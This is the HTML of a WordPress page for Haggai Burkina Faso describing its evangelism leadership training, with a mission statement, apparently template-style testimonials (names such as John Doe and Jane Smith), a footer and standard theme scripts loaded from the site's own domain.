wp-block-social-links has-small-icon-size is-content-justification-left is-layout-flex wp-container-core-social-links-is-layout-63375db1 wp-block-social-links-is-layout-flex"><li class="wp-social-link wp-social-link-instagram wp-block-social-link"><a href="https://instagram.com" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg><span class="wp-block-social-link-label screen-reader-text">Instagram</span></a></li><li class="wp-social-link wp-social-link-linkedin wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg><span class="wp-block-social-link-label screen-reader-text">LinkedIn</span></a></li><li class="wp-social-link wp-social-link-x wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg><span class="wp-block-social-link-label screen-reader-text">X</span></a></li></ul></div></div></div></div></div></div><div class="wp-block-group nfd-container nfd-text-md nfd-wb-text__text-6 is-layout-constrained wp-block-group-is-layout-constrained" ><div class="nfd-gap-xl wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex"><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"><h2 class="nfd-text-xl nfd-text-balance wp-block-heading" style="font-style:normal;font-weight:600">Empowering Leaders for Evangelism in Burkina Faso</h2></div><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"><p class="wp-block-paragraph">Haggai Burkina Faso is dedicated to equipping leaders with the necessary skills and knowledge to effectively engage in evangelism. Our programs focus on fostering leadership qualities that inspire community service and religious activities, ensuring a positive impact in the region.</p><p class="wp-block-paragraph">Our mission is to create a network of empowered leaders who are passionate about spreading the message of hope and faith. We believe that through effective training and support, individuals can transform their communities and contribute to a greater cause.</p></div><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"><p class="wp-block-paragraph">At Haggai Burkina Faso, we envision a future where every leader is equipped to make a difference. Our vision encompasses not only personal growth but also the development of a supportive community that thrives on shared values and collective efforts.</p><p class="wp-block-paragraph">Join us in our journey to empower leaders across Burkina Faso. Together, we can foster a culture of evangelism and community service that uplifts individuals and strengthens our society as a whole.</p></div></div></div><div class="wp-block-group nfd-container nfd-p-lg nfd-theme-white nfd-bg-surface nfd-wb-testimonials__testimonials-1 is-layout-constrained wp-block-group-is-layout-constrained" ><div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex"><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:40%"><div class="nfd-gap-2xl wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><h2 class="nfd-text-huge wp-block-heading">What Our Community Says About Us</h2><div class="nfd-gap-lg wp-block-group is-content-justification-left is-layout-flex wp-container-core-group-is-layout-bc29a5f0 wp-block-group-is-layout-flex"><div class="nfd-overlap-x nfd-border-bg wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex"><figure class="is-style-rounded wp-block-image size-large is-resized has-custom-border"><img decoding="async" src="https://images.unsplash.com/photo-1600728658141-03d080a1bf55?q=80&#038;auto=format&#038;fit=crop&#038;w=120&#038;h=120&#038;crop=faces" alt="" style="border-width:2px;aspect-ratio:1;object-fit:cover;width:50px"/></figure><figure class="is-style-rounded wp-block-image size-large is-resized has-custom-border"><img decoding="async" src="https://images.unsplash.com/photo-1547360649-d24a4bdfb16e?q=80&#038;auto=format&#038;fit=crop&#038;w=120&#038;h=120&#038;crop=faces" alt="" style="border-width:2px;aspect-ratio:1;object-fit:cover;width:50px"/></figure><figure class="is-style-rounded wp-block-image size-large is-resized has-custom-border"><img decoding="async" src="https://images.unsplash.com/photo-1571109216779-6ccc20727c0a?q=80&#038;auto=format&#038;fit=crop&#038;w=120&#038;h=120&#038;crop=faces" alt="" style="border-width:2px;aspect-ratio:1;object-fit:cover;width:50px"/></figure><figure class="is-style-rounded wp-block-image size-large is-resized has-custom-border"><img decoding="async" src="https://images.unsplash.com/photo-1580076905521-abcea81b6c02?q=80&#038;auto=format&#038;fit=crop&#038;w=120&#038;h=120&#038;crop=faces" alt="" style="border-width:2px;aspect-ratio:1;object-fit:cover;width:50px"/></figure></div><div class="nfd-gap-0 wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-color wp-block-paragraph" style="color:#fab906;letter-spacing:2px">★★★★★</p><p class="nfd-text-base wp-block-paragraph">Average Rating: 4.8 out of 5 based on 150 reviews</p></div></div><div style="height:16px" aria-hidden="true" class="wp-block-spacer"></div></div></div><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-theme-light nfd-bg-surface nfd-rounded nfd-text-balance nfd-p-card-md nfd-gap-md wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-balance wp-block-paragraph"><strong>Inspiring Community Engagement</strong></p><div class="nfd-pl-offset-md nfd-text-balance nfd-text-base wp-block-group is-layout-constrained wp-block-group-is-layout-constrained" style="border-left-width: 3px"><p class="wp-block-paragraph">The community engagement initiatives have opened doors for meaningful connections and outreach opportunities. I am grateful for the guidance and support.</p></div><div class="nfd-gap-xs wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-color wp-block-paragraph" style="color:#fab906;letter-spacing:2px">★★★★★</p><p class="nfd-text-base has-text-align-left wp-block-paragraph">Emily Davis</p></div></div><div class="nfd-theme-light nfd-bg-surface nfd-rounded nfd-text-balance nfd-p-card-md nfd-gap-md wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-balance wp-block-paragraph"><strong>Life-Changing Experiences</strong></p><div class="nfd-pl-offset-md nfd-text-balance nfd-text-base wp-block-group is-layout-constrained wp-block-group-is-layout-constrained" style="border-left-width: 3px"><p class="wp-block-paragraph">Participating in Haggai&rsquo;s programs has been a life-changing experience for me. I have gained confidence and skills that I can apply in my daily life.</p></div><div class="nfd-gap-xs wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-color wp-block-paragraph" style="color:#fab906;letter-spacing:2px">★★★★★</p><p class="nfd-text-base has-text-align-left wp-block-paragraph">John Doe</p></div></div></div><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-theme-light nfd-bg-surface nfd-rounded nfd-text-balance nfd-p-card-md nfd-gap-md wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-balance wp-block-paragraph"><strong>Transformative Leadership Training</strong></p><div class="nfd-pl-offset-md nfd-text-balance nfd-text-base wp-block-group is-layout-constrained wp-block-group-is-layout-constrained" style="border-left-width: 3px"><p class="wp-block-paragraph">The training I received from Haggai has profoundly impacted my ability to lead and evangelize effectively in my community. I feel equipped to make a difference!</p></div><div class="nfd-gap-xs wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-color wp-block-paragraph" style="color:#fab906;letter-spacing:2px">★★★★★</p><p class="nfd-text-base has-text-align-left wp-block-paragraph">Jane Smith</p></div></div><div class="nfd-theme-light nfd-bg-surface nfd-rounded nfd-text-balance nfd-p-card-md nfd-gap-md wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-balance wp-block-paragraph"><strong>Empowering Evangelism Initiatives</strong></p><div class="nfd-pl-offset-md nfd-text-balance nfd-text-base wp-block-group is-layout-constrained wp-block-group-is-layout-constrained" style="border-left-width: 3px"><p class="wp-block-paragraph">Haggai&rsquo;s programs have empowered me to take on leadership roles in evangelism. The support and resources provided are invaluable for anyone looking to make a positive impact.</p></div><div class="nfd-gap-xs wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-color wp-block-paragraph" style="color:#fab906;letter-spacing:2px">★★★★★</p><p class="nfd-text-base has-text-align-left wp-block-paragraph">Michael Johnson</p></div></div></div></div></div>					</div>

				
				</article>

			

			</div>

					</div>
	</div>


</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"8","unique_test_id":"","ab_bounce_rate":"5","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
